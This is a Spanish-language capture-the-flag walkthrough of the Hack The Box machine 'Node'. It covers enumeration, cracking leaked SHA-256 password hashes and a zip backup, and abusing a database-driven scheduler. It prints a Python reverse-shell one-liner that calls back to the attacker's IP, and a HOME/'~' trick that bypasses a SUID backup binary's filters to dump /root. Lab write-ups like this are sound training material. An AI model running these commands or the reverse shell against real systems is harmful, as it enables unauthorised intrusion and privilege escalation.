Node Writeup

MedioLinux
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
e1156acc...
#Root Flag
1722e99c...

En este writeup vamos a ver cómo resolver la máquina Node de la plataforma de Hack the Box.

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb-vip.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.58

El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.

Vamos a hacer un escaneo de puertos:

$ nmap -p- -A -Pn -T5 10.10.10.58 -v PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA) | 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA) |_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519) 3000/tcp open http Node.js Express framework |_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: MyPlace |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto SSH abierto y puerto 3000 abierto. Si nos dirigimos al navegador web y accedemos por el puerto 3000 vemos que se trata de una página web.

Realizamos un escaneo con dirbuster para encontrar directorios y ficheros:

Lo primero que nos encontramos nada más empezar a realizar el escaneo es que el servidor está devolviendo páginas inconsistentes a través de esta url:

http://node.htb:3000/thereIsNoWayThat-You-CanBeThere.php

trollface
trollface

Procedemos a guardar el resultado de cada pestaña en ficheros diferentes para analizarlos después.

No encontramos nada significativo con dirbuster salvo los ficheros troll.

Si inspeccionamos la web llegamos a encontrar los siguientes ficheros de angular:

rest controller
rest controller

Por ejemplo vemos que existe una api con los siguientes endpoints:

  • [GET] /api/users/$name
  • [POST] /api/session/authenticate
  • [GET] /api/users/latest
  • [GET] /api/admin/backup
  • [GET] /api/session

Si revisamos el endpoint de /api/users/latest

[ { "_id": "59a7368398aa325cc03ee51d", "username": "tom", "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240", "is_admin": false }, { "_id": "59a7368e98aa325cc03ee51e", "username": "mark", "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73", "is_admin": false }, { "_id": "59aa9781cced6f1d1490fce9", "username": "rastating", "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0", "is_admin": false } ]

Si revisamos el endpoint de /api/users:

[ { "_id": "59a7365b98aa325cc03ee51c", "username": "myP14ceAdm1nAcc0uNT", "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af", "is_admin": true }, { "_id": "59a7368398aa325cc03ee51d", "username": "tom", "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240", "is_admin": false }, { "_id": "59a7368e98aa325cc03ee51e", "username": "mark", "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73", "is_admin": false }, { "_id": "59aa9781cced6f1d1490fce9", "username": "rastating", "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0", "is_admin": false } ]

En total nos encontramos con cuatro usuarios de los cuales solo myP14ceAdm1nAcc0uNT es administrador.

Como tenemos los hashes de las contraseñas vamos a intentar averiguar el algoritmo. Para ello ejecutamos la herramienta hash-identifier y especificamos el hash del admin

hash-identifier
hash-identifier

Podemos usar hashcat para romper la contraseña:

$ hashcat -a0 -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af /usr/share/wordlists/rockyou.txt -O

Obtendremos algo así:

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester

También podemos usar john the ripper para sacar la contraseña:

$ john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt admin_hash

El resultado es el mismo y llegaremos a las siguientes credenciales:

  • usuario: myP14ceAdm1nAcc0uNT
  • password: manchester

Una vez logueados podremos descargarnos un fichero de backup

admin
admin

Si hacemos un cat del fichero nos devolverá un chorro gigantesco en base64. Vamos a desencriptarlo:

$ cat myplace.backup | base64 --decode > backup $ file backup backup.zip: Zip archive data, at least v1.0 to extract

Al intentar abrirlo nos pedirá una contraseña para descomprimirlo. Vamos a crackear la contraseña.

Esto lo hacemos con la utilidad fcrackzip

$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup PASSWORD FOUND!!!!: pw == magicword

Una vez descomprimido podemos ver en el fichero app.js que tenemos la cadena de conexión a MongoDB y las secret key en texto plano:

const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

Aquí tenemos un usuario y una contraseña:

  • usuario: mark
  • password: 5AYRft73VtFpc84k

Capturar User Flag

Con esas credenciales vamos a conectarnos al ssh

$ ssh mark@10.10.10.58 Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3 mark@node:~$ id uid=1001(mark) gid=1001(mark) groups=1001(mark)

Para buscar el fichero con la user flag podemos ejecutar lo siguiente:

mark@node:~$ find / -name user.txt 2>/dev/null/home/tom/user.txt

Pero si intentamos leerlo no podremos por no tener permisos.

Si hacemos un ps aux vemos el siguiente proceso interesante:

tom       1413  0.0  4.3 1009080 33304 ?       Ssl  15:19   0:01 /usr/bin/node /var/scheduler/app.js

El usuario tom está ejecutando un scheduler. Si nos vamos a ese directorio y analizamos app.js veremos que se conecta a mongo con las credenciales de mark y a la base de datos scheduler.

El script recupera de la tabla tasks todas las entradas y las recorre para ejecutar lo que hay en su campo cmd para a continuación borrar la task de la base de datos.

Lo que vamos a hacer es crear un bash en el directorio /tmp que lea el fichero de la user flag y lo guarde en ese mismo directorio.

$ cd /tmp $ echo "cat /home/tom/user.txt > /tmp/user.txt" > capture.sh && chmod +x capture.sh

Después nos conectamos a la base de datos para insertar la task.

mongo -u mark -p 5AYRft73VtFpc84k scheduler > db.tasks.insert({"cmd": "/tmp/capture.sh"}) WriteResult({ "nInserted" : 1 }) > db.tasks.find() { "_id" : ObjectId("5ffb352c990c73814f615b82"), "cmd" : "/tmp/capture.sh" }

Esperamos a que el script se ejecute y ya tendremos en /tmp el fichero con la user flag.

Lo que vamos a hacer es crear un bash en el directorio /tmp que lea el fichero de la user flag y lo guarde en ese mismo directorio.

Capturar Root Flag

Para capturar la root flag tenemos que seguir el mismo esquema pero invocando una shell reversa. Para ello en una terminal nueva abriremos un netcat a la escucha:

$ nc -nvlp 4242

Después en el servidor en el directorio /tmp creamos el siguiente fichero python:

import pty,socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.21",4242)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn(“/bin/bash”);

Le damos permisos de ejecución y después en mongo insertamos el siguiente registro:

> db.tasks.insert({"cmd":"python /tmp/reverse.py"})

Cuando se ejecute la tarea tendremos una nueva shell reversa:

$ nc -nvlp 4242 listening on [any] 4242 ... connect to [10.10.14.21] from (UNKNOWN) [10.10.10.58] 37872 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. tom@node:/$ id id uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin) tom@node:/$

Una vez conectados como tom vamos a buscar aquellos ficheros con suid:

$ find / -perm -u=s -type f 2>/dev/null

De todos nos llama la atención este:

/usr/local/bin/backup

Si miramos qué tipo de archivo es con file vemos lo siguiente:

tom@node:/usr/local/bin$ file backup $ file backup backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped

Es un binario, así que podemos mirar su contenido con el comando strings.

Vemos que es este el binario que se ha encargado de hacer la backup que nos hemos descargado antes.

Si lo ejecutamos no hace nada, pero tal y como hemos visto con strings parece que acepta tres parámetros de entrada. Esto lo hemos visto aquí:

$ strings backup ...... /usr/bin/zip -r -P magicword %s %s > /dev/null /usr/bin/base64 -w0 %s ...

Vamos a ejecutar un ltrace llamando al binario y pasándole tres argumentos

$ ltrace backup test test test .... fopen("/etc/myplace/keys", "r") = 0x9da1410 fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x9da1410) = 0xff93f5cf ....

Vemos que el binario abre el fichero que se encuentra en /etc/myplace/keys y empieza a leer su contenido.

Si hacemos un cat de ese fichero lo corroboramos:

tom@node:/usr/local/bin$ cat /etc/myplace/keys a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110

Con esto concluimos que parece ser que el primer parámetro de backup se corresponde con el nombre del fichero y el segundo con la key de cifrado.

Se intuye que el tercer parámetro corresponde con el path de lo que queremos hacer una backup por lo que si ejecutamos lo siguiente:

$ ltrace backup test a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp/test ... strstr("/tmp/test", "..") = nil strstr("/tmp/test", "/root") = nil strchr("/tmp/test", ';') = nil strchr("/tmp/test", '&') = nil strchr("/tmp/test", '`') = nil strchr("/tmp/test", '$') = nil strchr("/tmp/test", '|') = nil strstr("/tmp/test", "//") = nil strcmp("/tmp/test", "/") = 1 strstr("/tmp/test", "/etc") = nil strcpy(0xff80455c, "/tmp/test") = 0xff80455c ...

Nos damos cuenta de todas las comprobaciones que se evalúan para el tercer parámetro.

La única que no se está evaluando es la virgulilla (~) que es una variable que se corresponde con la $HOME del usuario, por lo que si volvemos a declarar la $HOME como el directorio /root podremos bypassear estas comprobaciones.

tom@node:/usr/local/bin$ export HOME=/root tom@node:/usr/local/bin$ echo $HOME /root

Si ahora ejecutamos el backup pero indicándole en el tercer parámetro que queremos que nos coja nuestra “HOME” a través de la virgulilla, automáticamente habrá pillado todo el directorio de /root.

$ backup test a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 "~"

Al ejecutarlo, nos imprimirá por pantalla un string en base64. Lo copiamos, lo pegamos en un fichero nuevo y hacemos lo siguiente para decodificarlo y extraer su información y capturar la root flag.

$ cat root_base64 | base64 --decode > root_backup $ unzip root_backup $ cat root/root.txt

También te puede interesar

Omni Writeup

Omni Writeup

Opsie Writeup

Opsie Writeup

Poison Writeup

Poison Writeup